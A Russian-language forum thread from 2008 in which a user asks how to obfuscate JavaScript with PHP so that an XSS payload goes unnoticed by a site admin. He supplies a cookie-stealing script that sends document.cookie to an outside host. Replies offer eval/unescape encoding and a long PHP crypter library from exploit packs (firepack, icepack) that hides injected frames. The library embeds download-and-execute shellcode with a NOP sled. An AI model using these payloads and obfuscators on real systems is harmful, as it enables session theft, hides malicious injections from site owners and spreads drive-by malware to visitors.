Как закодировать javascript cod
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Как закодировать javascript cod - 2008-01-24 13:43:56.516666
|
|
|
motorola
Сообщений: 64
Оценки: 0
Присоединился: 2007-11-13 19:44:42.273333
|
зраствуйте, подскажите скриптик как можно, на php закодировать строку вида <script>alert('programs')</script> от глаз но с возможностью выполнения?
|
|
|
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:01:03.030000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
скрипт на php
$str = "alert('1234')";
for($i=0;$i<strlen($str);$i++)
{$hex=dechex(ord($str[$i]));
if ($str[$i]=='&') $x .= "$str[$i]";
else if ($str[$i]!='\\') $x.="%$hex";
}
дальше рузультат загоняешь в js <script>eval(unescape('%61%6c%65%72%74%28%27%31%32%33%34%27%29'));</script> это имел в виду?
|
|
|
Ответ - 2008-01-24 14:20:35.420000
|
|
|
motorola
Сообщений: 64
Оценки: 0
Присоединился: 2007-11-13 19:44:42.273333
|
Ну примерно, а вообще мне для xss чтобы админ не видел, просто строка <script>document.write("<img width=0 height=0 src=http://microsoft/ip.php?url=" + document.cookie + ">")</script>
|
|
|
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:30:46.630000
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
<?
function gen_rnd($len) {
$rnd_text=null;
for ($i=0;$i<$len;$i++){
$temp=rand(1,3);
if ($i==0){
$temp2=rand(1,2);
if ($temp2==1) {
$rnd_text.=chr(rand(65,90));
} else {
$rnd_text.=chr(rand(97,122));
}
} else {
if ($temp==1) {
$rnd_text.=chr(rand(65,90));
} elseif ($temp==2) {
$rnd_text.=chr(rand(97,122));
} else {
$rnd_text.=chr(rand(48,57));
}
}
}
return $rnd_text;
}
function rc4Encrypt($key, $pt) {
$s = array();
for ($i=0; $i<256; $i++) {
$s[$i] = $i;
}
$j = 0;
$x = 0;
for ($i=0; $i<256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$ct = '';
$y = 0;
for ($y=0; $y<strlen($pt); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ct;
}
function firepack0_18_encrypt($content,$type="default"){
$error_msg=null;
$error_msg_show=false;
if ($error_msg_show){
if ($type=="image"){
$error_msg='Enable JavaScript!';
} elseif($type=="url"){
$error_msg='Enable JavaScript!';
}else{
$error_msg='Enable JavaScript!';
}
}
$error_msg='<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<noscript>
'.$error_msg.'
</noscript>';
$js_decode_name=gen_rnd(rand(5,15));
$js_decrypt_name=gen_rnd(rand(5,15));
$key=gen_rnd(rand(10,30));
$key2=base64_encode($key);
$js_decrypt="function ".$js_decrypt_name."(key,pt){s=new Array();for(var i=0;i<256;i++){s[i]=i;}var j=0;var x;for(i=0;i<256;i++){j=(j+s[i]+key.charCodeAt(i%key.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=0;j=0;var ct = '';for(var y=0;y<pt.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;ct+=String.fromCharCode(pt.charCodeAt(y)^s[(s[i]+s[j])%256]);}return ct;}";
$js_decode="function ".$js_decode_name."(data){data=data.replace(/[^a-z0-9\+\/=]/ig,'');if(typeof(atob)=='function')return atob(data);var b64_map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var byte1,byte2,byte3;var ch1,ch2,ch3,ch4;var result=new Array();var j=0;while((data.length%4)!=0){data+='=';}for(var i=0;i<data.length;i+=4){ch1=b64_map.indexOf(data.charAt(i));ch2=b64_map.indexOf(data.charAt(i+1));ch3=b64_map.indexOf(data.charAt(i+2));ch4=b64_map.indexOf(data.charAt(i+3));byte1=(ch1<<2)|(ch2>>4);byte2=((ch2&15)<<4)|(ch3>>2);byte3=((ch3&3)<<6)|ch4;result[j++]=String.fromCharCode(byte1);if(ch3!=64)result[j++]=String.fromCharCode(byte2);if(ch4!=64)result[j++]=String.fromCharCode(byte3);}return result.join('');}";
$crypted=base64_encode(rc4Encrypt($key, $content));
$s=null;
$str='<script Language="JavaScript">'.$js_decrypt.';'.$js_decode.'; document.write('.$js_decrypt_name.'('.$js_decode_name.'("'.$key2.'"),'.$js_decode_name.'("'.$crypted.'")));</Script>'.$error_msg.$s;
$str2=null;
for ($i=0;$i<strlen($str);$i++){
$str2.="%".dechex(ord($str[$i]));
}
return $str;
flush;
}
/* ******************************************** */
function _obfuscate_bSZ3Il0LQDczcgяя( $_obfuscate_ReIя )
{
$_obfuscate_Iz0я = rawurlencode( $_obfuscate_ReIя );
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_Iz0я ); ++$_obfuscate_7wяя )
{
$_obfuscate_Iz0я[$_obfuscate_7wяя] = chr( ord( $_obfuscate_Iz0я[$_obfuscate_7wяя] ) + 5 );
}
return rawurlencode( $_obfuscate_Iz0я."5" );
}
function _obfuscate_HCEMYh8я( $_obfuscate_RaJNhvj )
{
$_obfuscate_omve = $_SERVER['HTTP_HOST'];
$_obfuscate_VBCv7Qяя = 0;
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_omve ); ++$_obfuscate_7wяя )
{
$_obfuscate_VBCv7Qяя += ceil( ord( $_obfuscate_omve[$_obfuscate_7wяя] ) / ( $_obfuscate_7wяя + 1 ) );
}
$_obfuscate_xs33Yt_k = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_RaJNhvj ); ++$_obfuscate_7wяя )
{
if ( $_obfuscate_7wяя != strlen( $_obfuscate_RaJNhvj ) - 1 )
{
$_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] ) - $_obfuscate_VBCv7Qяя.",";
}
else
{
$_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] ) - $_obfuscate_VBCv7Qяя;
}
}
$_obfuscate_aNcpmAяя = "\r\n<script type=\"text/javascript\">\r\n\r\nvar hNYt0j = new Array(".$_obfuscate_xs33Yt_k.");\r\nvar host=new String();\r\nhost=location.host;\r\nvar mhBg7S=0;\r\nvar h; \r\nfor(h=0;h<host.length;h++)\r\n{\r\n\tmhBg7S+=Math.ceil(host.charCodeAt(h)/ (h+1));\r\n}\r\nvar YK92nH = \"\"; \r\nfor(var i=0;i<hNYt0j.length;i++)YK92nH+=String.fromCharCode(hNYt0j[i]+mhBg7S); \r\ndocument.write(YK92nH);</script>";
$_obfuscate_aNcpmAяя = base64_encode( $_obfuscate_aNcpmAяя );
$_obfuscate_Lh5oYDEsQяя = "\r\n<script type=\"text/javascript\">\r\n\r\n\tvar keyStr = \"ABCDEFGHIJKLMNOP\" + \"QRSTUVWXYZabcdef\" + \"ghijklmnopqrstuv\" + \"wxyz0123456789+/\" + \"=\";\r\n\t\tfunction decode64(input) \r\n\t{\r\n\t\tvar output = \"\";\r\n\t\tvar chr1, chr2, chr3 = \"\";\r\n\t\tvar enc1, enc2, enc3, enc4 = \"\";\r\n\t\tvar i = 0;\r\n\t\tvar base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\r\n\t\tinput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\r\n\t\tdo \r\n\t\t{\r\n\t\t\tenc1 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc2 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc3 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tenc4 = keyStr.indexOf(input.charAt(i++));\r\n\t\t\tchr1 = (enc1 << 2) | (enc2 >> 4);\r\n\t\t\tchr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\r\n\t\t\tchr3 = ((enc3 & 3) << 6) | enc4;\r\n\t\t\toutput = output + String.fromCharCode(chr1);\r\n\t\t\tif (enc3 != 64)\r\n\t\t\t{\r\n\t\t\t\toutput = output + String.fromCharCode(chr2);\r\n\t\t\t}\r\n\t\t\tif (enc4 != 64)\r\n\t\t\t{\r\n\t\t\t\toutput = output + String.fromCharCode(chr3);\r\n\t\t\t}\r\n\t\t\tchr1 = chr2 = chr3 = \"\";\r\n\t\t\tenc1 = enc2 = enc3 = enc4 = \"\";\r\n\t\t} \r\n\t\twhile (i < input.length);\r\n\t\treturn output;\r\n\t}\r\n\tvar dec=decode64(\"".$_obfuscate_aNcpmAяя."\")\r\n\t\r\n\tdocument.write(dec);\r\n</script>";
return $_obfuscate_Lh5oYDEsQяя;
}
function _obfuscate_IGNfandp( $_obfuscate_R2_b )
{
$_obfuscate_lwяя = 0;
for ( ; $_obfuscate_lwяя < 4; ++$_obfuscate_lwяя )
{
$Vq[$_obfuscate_lwяя] = _obfuscate_YzsubiRsdF9jLTknK2Zq( 5 );
}
$_obfuscate_Jrp1 = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_R2_b ); ++$_obfuscate_7wяя )
{
$_obfuscate_Jrp1 .= "%".bin2hex( $_obfuscate_R2_b[$_obfuscate_7wяя] );
}
$_obfuscate_MMQя = explode( "%", $_obfuscate_Jrp1 );
unset( $_obfuscate_MMQя[0] );
$_obfuscate_5P0я = _obfuscate_BRkwejloBHRkHRtrEy4я( $_obfuscate_MMQя );
$_obfuscate_aNcpmAяя = "<SCRIPT LANGUAGE=\"Javascript\">\r\nfunction ".$Vq[0]."(".$Vq[2].")\r\n{\r\ndocument.write(unescape(".$Vq[2]."))\r\nreturn \"\"\r\n}\r\nfunction ".$Vq[1]."()\r\n{\r\n\t".$_obfuscate_5P0я[0]."\r\nvar ".$Vq[2]."=new Array()\r\n".$Vq[2]."[0]=new Array(".$_obfuscate_5P0я[1].")\r\n".$Vq[0]."(".$Vq[2].");\r\n}\r\n".$Vq[1]."();\r\n</script>";
return $_obfuscate_aNcpmAяя;
}
function _obfuscate_YzsubiRsdF9jLTknK2Zq( $_obfuscate_Q8ERGxGW )
{
$_obfuscate_gClYrFh6bgяя = "1234567890";
$_obfuscate_9lTiXBPSwяя = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$_obfuscate_EpN1a6ctiykя = $_obfuscate_gClYrFh6bgяя.$_obfuscate_9lTiXBPSwяя;
$_obfuscate_vZNnSQXfIe0X = "";
$m = 0;
for ( ; $m <= $_obfuscate_Q8ERGxGW; ++$m )
{
$_obfuscate_8Aяя = rand( 0, strlen( $_obfuscate_EpN1a6ctiykя ) - 1 );
$_obfuscate_vZNnSQXfIe0X .= $_obfuscate_EpN1a6ctiykя[$_obfuscate_8Aяя];
}
$_obfuscate_xs33Yt_k = $_obfuscate_9lTiXBPSwяя[rand( 0, strlen( $_obfuscate_9lTiXBPSwяя ) - 1 )].$_obfuscate_vZNnSQXfIe0X;
return $_obfuscate_xs33Yt_k;
}
function _obfuscate_ZXRwbCsfNgcpdHkя( $_obfuscate_Il8i )
{
$_obfuscate_piIя = "лT‹u<‹t5x\x03хV‹v \x03";
$_obfuscate_piIя .= "х3ЙIA3Ы6\x0Fѕ\x14(8тt";
$_obfuscate_piIя .= "\x08БЛ\r\x03Ъ@лп;Яuз^‹^";
$_obfuscate_piIя .= "$\x03Эf‹\x0CK‹^\x1C\x03Э‹\x04‹\x03";
$_obfuscate_piIя .= "ЕГurlmon.dll\x00C:\\";
$_obfuscate_piIя .= "U.exe\x003Аd\x03@0x\x0C‹@";
$_obfuscate_piIя .= "\x0C‹p\x1C‹@\x08л\t‹@4Ќ@|";
$_obfuscate_piIя .= "‹@<•їЋN\x0Eми„яяяѓм";
$_obfuscate_piIя .= "\x04ѓ,$<яР•Pї6\x1A/pиo";
$_obfuscate_piIя .= "яяя‹T$ьЌRє3ЫSSRл";
$_obfuscate_piIя .= "\$SяР]ї?юЉ\x0EиSяяяѓ";
$_obfuscate_piIя .= "м\x04ѓ,\$bяРї~Швsи@я";
$_obfuscate_piIя .= "яяRяРиЧяяя".$_obfuscate_Il8i;
return $_obfuscate_piIя;
}
function _obfuscate_LxF3Z2g1dHULd30y( $_obfuscate_piIя )
{
$_obfuscate_xs33Yt_k = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя <= strlen( $_obfuscate_piIя ); $_obfuscate_7wяя += 2 )
{
$_obfuscate_phQя = $_obfuscate_piIя[$_obfuscate_7wяя];
@$_obfuscate_yIkя = @$_obfuscate_piIя[$_obfuscate_7wяя + 1];
$_obfuscate_phQя = ord( $_obfuscate_phQя ) + ord( $_obfuscate_yIkя ) * 256;
$_obfuscate_phQя = dechex( $_obfuscate_phQя );
while ( strlen( $_obfuscate_phQя ) < 4 )
{
$_obfuscate_phQя = "0".$_obfuscate_phQя;
}
$_obfuscate_xs33Yt_k .= "%u".$_obfuscate_phQя;
}
$_obfuscate_oflSXUQJYTR8 = "%u9090%u9090".$_obfuscate_xs33Yt_k;
return $_obfuscate_oflSXUQJYTR8;
}
function _obfuscate_BRkwejloBHRkHRtrEy4я( $_obfuscate_oflSXUQJYTR8 )
{
$_obfuscate_6UUC = "";
$_obfuscate_FQяя = count( $_obfuscate_oflSXUQJYTR8 );
$_obfuscate_5iLGsO4я = _obfuscate_IXdjH2YQanR1I3Uoa2oKGgяя( $_obfuscate_FQяя );
$p = 0;
$_obfuscate_wFBrqQяя = array( );
foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя )
{
$_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_oflSXUQJYTR8, $p, $_obfuscate_FQяя );
$p += $_obfuscate_FQяя;
$_obfuscate_VgKtFegя = "%".implode( "%", $_obfuscate_Hj5oTq8я );
$_obfuscate_xHUo = _obfuscate_XD0nOyB6XAFyeQяя( 4, 8 );
$_obfuscate_6UUC .= "var ".$_obfuscate_xHUo." = '{$_obfuscate_VgKtFegя}';\n";
$_obfuscate_wFBrqQяя[] = $_obfuscate_xHUo;
}
$_obfuscate_5xtS7qu1NndkDcEя = implode( "+", $_obfuscate_wFBrqQяя );
$_obfuscate_Jrp1[0] = $_obfuscate_6UUC;
$_obfuscate_Jrp1[1] = $_obfuscate_5xtS7qu1NndkDcEя;
return $_obfuscate_Jrp1;
}
function _obfuscate_fg8caxozbgяя( $p )
{
$_obfuscate_6UUC = strtoupper( bin2hex( $p ) );
$_obfuscate_1Qяя = round( strlen( $_obfuscate_6UUC ) / 4 );
if ( $_obfuscate_1Qяя != strlen( $_obfuscate_6UUC ) / 4 )
{
$_obfuscate_6UUC .= "00";
}
$_obfuscate_qfcF = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_6UUC ); $_obfuscate_7wяя += 4 )
{
$_obfuscate_qfcF .= "%u".substr( $_obfuscate_6UUC, $_obfuscate_7wяя + 2, 2 ).substr( $_obfuscate_6UUC, $_obfuscate_7wяя, 2 );
}
return $_obfuscate_qfcF;
}
function _obfuscate_PxJ1YjBrJS9zPQяя( $_obfuscate_RaJNhvj )
{
$_obfuscate_xs33Yt_k = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_RaJNhvj ); ++$_obfuscate_7wяя )
{
$_obfuscate_xs33Yt_k .= ord( $_obfuscate_RaJNhvj[$_obfuscate_7wяя] );
if ( $_obfuscate_7wяя != strlen( $_obfuscate_RaJNhvj ) - 1 )
{
$_obfuscate_xs33Yt_k .= ",";
}
}
return "String.fromCharCode(".$_obfuscate_xs33Yt_k.")";
}
function _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя )
{
$_obfuscate_yO9n6OZG1qbtDw4я = rand( 2, $_obfuscate_FQяя );
$_obfuscate_5iLGsO4я = array( );
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < $_obfuscate_yO9n6OZG1qbtDw4я; ++$_obfuscate_7wяя )
{
$_obfuscate_5iLGsO4я[] = rand( 1, $_obfuscate_FQяя );
}
$_obfuscate_1oit = 0;
$_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я );
while ( $_obfuscate_bhdW != $_obfuscate_FQяя )
{
if ( $_obfuscate_FQяя < $_obfuscate_bhdW && 0 < $_obfuscate_5iLGsO4я[$_obfuscate_1oit] )
{
--$_obfuscate_5iLGsO4я[$_obfuscate_1oit];
}
else
{
++$_obfuscate_5iLGsO4я[$_obfuscate_1oit];
}
++$_obfuscate_1oit;
if ( $_obfuscate_yO9n6OZG1qbtDw4я <= $_obfuscate_1oit )
{
$_obfuscate_1oit = 0;
}
$_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я );
}
$_obfuscate_6UUC = array( );
foreach ( $_obfuscate_5iLGsO4я as $p )
{
if ( $p != 0 )
{
$_obfuscate_6UUC[] = $p;
}
}
return $_obfuscate_6UUC;
}
function _obfuscate_IXdjH2YQanR1I3Uoa2oKGgяя( $_obfuscate_FQяя )
{
$_obfuscate_yO9n6OZG1qbtDw4я = rand( 2, 50 );
$_obfuscate_5iLGsO4я = array( );
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < $_obfuscate_yO9n6OZG1qbtDw4я; ++$_obfuscate_7wяя )
{
$_obfuscate_5iLGsO4я[] = rand( 1, $_obfuscate_FQяя );
}
$_obfuscate_1oit = 0;
$_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я );
while ( $_obfuscate_bhdW != $_obfuscate_FQяя )
{
if ( $_obfuscate_FQяя < $_obfuscate_bhdW && 0 < $_obfuscate_5iLGsO4я[$_obfuscate_1oit] )
{
--$_obfuscate_5iLGsO4я[$_obfuscate_1oit];
}
else
{
++$_obfuscate_5iLGsO4я[$_obfuscate_1oit];
}
++$_obfuscate_1oit;
if ( $_obfuscate_yO9n6OZG1qbtDw4я <= $_obfuscate_1oit )
{
$_obfuscate_1oit = 0;
}
$_obfuscate_bhdW = array_sum( $_obfuscate_5iLGsO4я );
}
$_obfuscate_6UUC = array( );
foreach ( $_obfuscate_5iLGsO4я as $p )
{
if ( $p != 0 )
{
$_obfuscate_6UUC[] = $p;
}
}
return $_obfuscate_6UUC;
}
function _obfuscate_XD0nOyB6XAFyeQяя( $_obfuscate_Q8ERGxGW )
{
global $unique_names;
$_obfuscate_6UUC = "";
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < $_obfuscate_Q8ERGxGW; ++$_obfuscate_7wяя )
{
$_obfuscate_6UUC .= chr( rand( 97, 122 ) );
}
if ( in_array( $_obfuscate_6UUC, $unique_names ) )
{
$_obfuscate_6UUC = _obfuscate_XD0nOyB6XAFyeQяя( $_obfuscate_Q8ERGxGW );
}
$unique_names[] = $_obfuscate_6UUC;
return $_obfuscate_6UUC;
}
function _obfuscate_a2cnaDMheSFtD2M_fgяя( $_obfuscate_R2_b )
{
$_obfuscate_6UUC = "\"";
$_obfuscate_FQяя = strlen( $_obfuscate_R2_b );
$_obfuscate_5iLGsO4я = _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя );
$p = 0;
$_obfuscate_Jrp1 = array( );
$_obfuscate_7wяя = 0;
for ( ; $_obfuscate_7wяя < strlen( $_obfuscate_R2_b ); ++$_obfuscate_7wяя )
{
$_obfuscate_Jrp1[$_obfuscate_7wяя] = $_obfuscate_R2_b[$_obfuscate_7wяя];
}
$_obfuscate_ReIя = "";
foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя )
{
$_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_Jrp1, $p, $_obfuscate_FQяя );
$p += $_obfuscate_FQяя;
$_obfuscate_ReIя .= "\"";
foreach ( $_obfuscate_Hj5oTq8я as $_obfuscate_J84я )
{
$_obfuscate_ReIя .= $_obfuscate_J84я;
}
$_obfuscate_ReIя .= "\"+";
}
$_obfuscate_ReIя = substr_replace( $_obfuscate_ReIя, "", strlen( $_obfuscate_ReIя ) - 1, 1 );
return $_obfuscate_ReIя;
}
function _obfuscate_GXZcD15mImxqdG8JW2RzGDVxXzxkZD9b( $_obfuscate_oflSXUQJYTR8 )
{
$_obfuscate_6UUC = "";
$_obfuscate_FQяя = count( $_obfuscate_oflSXUQJYTR8 );
$_obfuscate_5iLGsO4я = _obfuscate_bWYkGltyDSkFfQkW( $_obfuscate_FQяя );
$p = 0;
$_obfuscate_wFBrqQяя = array( );
foreach ( $_obfuscate_5iLGsO4я as $_obfuscate_FQяя )
{
$_obfuscate_Hj5oTq8я = array_slice( $_obfuscate_oflSXUQJYTR8, $p, $_obfuscate_FQяя );
$p += $_obfuscate_FQяя;
$_obfuscate_VgKtFegя = "%u".implode( "%u", $_obfuscate_Hj5oTq8я );
$_obfuscate_xHUo = _obfuscate_XD0nOyB6XAFyeQяя( 4, 8 );
$_obfuscate_6UUC .= "var ".$_obfuscate_xHUo." = '{$_obfuscate_VgKtFegя}';\n";
$_obfuscate_wFBrqQяя[] = $_obfuscate_xHUo;
}
$_obfuscate_5xtS7qu1NndkDcEя = implode( "+", $_obfuscate_wFBrqQяя );
$_obfuscate_Jrp1[0] = $_obfuscate_6UUC;
$_obfuscate_Jrp1[1] = $_obfuscate_5xtS7qu1NndkDcEя;
return $_obfuscate_Jrp1;
}
/* ******************************************** */
function icepack_encrypt( $content )
{
if(empty($content)) return '';
// Crypt
$table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_@";
$xor = 165;
$table = array_keys(count_chars($table, 1));
$i_min = min($table);
$i_max = max($table);
for ($c = count($table); $c > 0; $r = mt_rand(0, $c--)) array_splice($table, $r, $c - $r, array_reverse(array_slice($table, $r, $c - $r)));
$len = strlen($content);
$word = $shift = 0;
for ($i = 0; $i < $len; $i++)
{
$ch = $xor ^ ord($content[$i]);
$word |= ($ch << $shift);
$shift = ($shift + 2) % 6;
$enc .= chr($table[$word & 0x3F]);
$word >>= 6;
if (!$shift)
{
$enc .= chr($table[$word]);
$word >>= 6;
}
}
if ($shift) $enc .= chr($table[$word]);
$tbl = array_fill($i_min, $i_max - $i_min + 1, 0);
while (list($k,$v) = each($table)) $tbl[$v] = $k;
$tbl = implode(",", $tbl);
$fi = ",p=0,s=0,w=0,t=Array({$tbl})";
$f = "w|=(t[x.charCodeAt(p++)-{$i_min}])<<s;";
$f .= "if(s){r+=String.fromCharCode({$xor}^w&255);w>>=8;s-=2}else{s=6}";
$r = "<script language=JavaScript>";
$r.= "function dc(x){";
$r.= "var l=x.length,b=1024,i,j,r{$fi};";
$r.= "for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{$f}}document.write(r)}";
$r.= "}dc(\"{$enc}\")";
$r.= "</script>";
return $r;
}
?>
Инсклудишь как модуль: include("crupt.php"); Функции криптования: firepack0_18_encrypt($YOU_CODE); icepack_encrypt($YOU_CODE); _obfuscate_IGNfandp($YOU_CODE); PS: ток js криптовать так не пробовал, html норм криптуется)
|
|
|
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:38:24.310000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
blаcksun оО ты че загнул??? пост до конца читал? quote:
но с возможностью выполнения?
|
|
|
RE: [b]Как закодировать javascript cod[/b] - 2008-01-24 14:58:47.420000
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Я выложил 3 криптора фреймов. Они рабочие.
|
|
|
|
|